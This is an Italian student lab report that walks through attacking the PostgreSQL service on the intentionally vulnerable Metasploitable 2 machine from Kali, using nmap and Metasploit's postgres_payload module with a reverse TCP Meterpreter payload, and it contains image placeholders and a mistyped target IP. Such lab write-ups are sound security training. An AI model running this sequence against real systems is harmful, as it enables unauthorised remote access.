***REPORT S7/L2***

Lo scopo dell’ esercizio è quello di utilizzare il modulo ***exploit/ linux /postgres /postgres\_payload*** per sfruttare le vulnerabilità del servizio ***PostgreSQL*** di ***Metasploitable 2***. Esegui ***l'exploit*** per ottenere una sessione ***Meterpreter*** sul sistema target***.***

***SVOLGIMENTO***

Per prima caso andremo ad impostare l’ ***IP*** di ***Kali con il comando:***

***sudo ifconfig eth0 192.168.1.25***

dove ***eth0*** è l’ interfaccia di rete di riferimento e verificheremo con ***“ip a”*** che l’ ip sia stato cambiato***. Figura 1.***

***A computer screen shot of a computer program

AI-generated content may be incorrect. Figura 1, viene impostato l’ ip di kali e si va a verificare la modifica “ip a”.***

Procedermo poi allo stesso modo sulla macchina ***Metasploitable:***

***sudo ifconfig eht0 192.168.1.40***

anche in questo caso con ***“ip a”*** andremo a verificare la riuscita dell’ operazione. ***Figura 2***

A screenshot of a computer

AI-generated content may be incorrect. ***Figura 2, viene impostato l’ ip di Metasploitable e si va a verificare la modifica “ip a”.***

Andiamo ora a verificare che vi sia comunizione tra le due macchine mediante ***“ping”***. ***Figura 3***. ***A screenshot of a computer screen

AI-generated content may be incorrect.***A screen shot of a computer

AI-generated content may be incorrect. ***Figura 3, si verifica la comunicazione tra le due macchine “ping”.***

Si procede quindi con una scansione ***nmap*** su ***Metasploitable*** per individuare i servizi vulnerabili, nello specifico ***PostgreSQL***. ***Figura 4***

***nmap -sV -T5 192.168.1.40***

***A computer screen shot of a computer

AI-generated content may be incorrect. Figura 4, evidenziato in rosso il servizio PostgreSQL vulnerabile sulla porta 5432.***

Apriamo ora Metasploit, **“msfconsole”,** *e cerchiamo il servizio in questione con il comando***: Figura 5**

**search postgresql**

**A screenshot of a computer

AI-generated content may be incorrect. *Figura 5 dopo il comando search vengono restituiti gli exploit disponibili, in rosso è evidenziato quello richiesto.***

Dopo aver trovato quello richiesto dall’ esercizio si puo procedere andandolo a selezionare con ***“use 16”*** o ***“use path/to/file”*** seguito da ***“show options”*** per visualizzarne la configurazione. ***Figura 6***

A screenshot of a computer program

AI-generated content may be incorrect. ***Figura 6, viene selezionato l’ exploit richiesto con “use” e se ne visualizza la configurazione con “show options”.***

Vado poi ad impostare l’ ***host remoto*** e l’ ***host locale*** con i seguenti comandi:

***set rhost 192.168.1.40***

***set lhost 192.168.1.25***

Si puo fare un check di controllo con ***“show options”*** per verificare che siano stati impostati correttamente.

*Con il comando* **“show payloads”** *andremo adesso a mostrare i* **payload** *disponibili e ne sceglieremo uno che consentirà di aprire una sessione* **Meterpreter** *sull’* **host target***. Nel caso specifico sceglieremo* **“reverse TCP”** *mediante il comando* **“set payload 16”. Figura 7 A screen shot of a computer

AI-generated content may be incorrect. *Figura 7, vengono mostrati a schermo i payloads disponibili “show payloads” e si sceglie quello richiesto “set payload 16”.***

Avevamo impostato in precedenza i gli ***host*** (remoto e locale), non resta quindi che procedere con l’ attacco, ***“exploit”***. ***Figura 8***

A screen shot of a computer

AI-generated content may be incorrect. ***Figura 8, il comando exploit avvia l’ attacco e la riga evidenziata mi conferma l’ apertura della sessione.***

L’ ultimo passo sarà quello di verificare di aver attaccato con successo la macchina ***Metasploitable***, lo faremo dalla ***shell meterpreter*** con il comando ***“ifconfig”*** per confermare che l’ ***IP*** in output sia ***192.168.1.04*** (IP di metasploitable). ***Figura 9***

A screen shot of a computer

AI-generated content may be incorrect. ***Figura 9, il comando “ifconfig” mostra l’ ip della macchina metasploitable dalla shell meterpreter.***